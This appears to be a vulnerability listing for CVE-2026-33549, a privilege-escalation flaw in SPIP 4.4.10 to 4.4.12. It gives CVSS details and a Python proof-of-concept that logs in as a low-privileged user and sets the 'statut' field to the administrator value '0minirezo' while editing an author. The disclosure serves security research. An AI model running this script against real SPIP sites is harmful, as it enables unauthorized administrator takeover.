SPIP 4.4.10 through 4.4.12 before 4.4.13 allows unintended privilege assignment (of administrator privileges) during the editing of an author data structure because of STATUT mishandling.
CVSS Details
CVSS Score
6.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:L
Configurations (Affected Products)
cpe:2.3:a:spip:spip:*:*:*:*:*:*:*:* - VULNERABLE
SPIP 4.4.10
SPIP 4.4.11
SPIP 4.4.12
SPIP < 4.4.13
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# CVE-2026-33549 PoC Concept
# Target: SPIP 4.4.10 - 4.4.12
# Description: Privilege Escalation via STATUT mishandling
target_url = "http://target-spip.com/ecrire/auteur_edit" # Example endpoint
session = requests.Session()
# 1. Login as a low-privileged user
login_data = {
"page": "login",
"login": "low_priv_user",
"password": "password123"
}
session.post(target_url, data=login_data)
# 2. Exploit: Edit author data to escalate privileges
# The 'statut' field is manipulated to '0minirezo' (Admin)
exploit_data = {
"id_auteur": "1", # Target author ID to modify
"nom": "Admin User",
"statut": "0minirezo", # Vulnerable parameter: Admin status
"email": "[email protected]",
"submit": "Save"
}
response = session.post(target_url, data=exploit_data)
if response.status_code == 200 and "0minirezo" in response.text:
print("[+] Privilege escalation successful!")
else:
print("[-] Exploit failed.")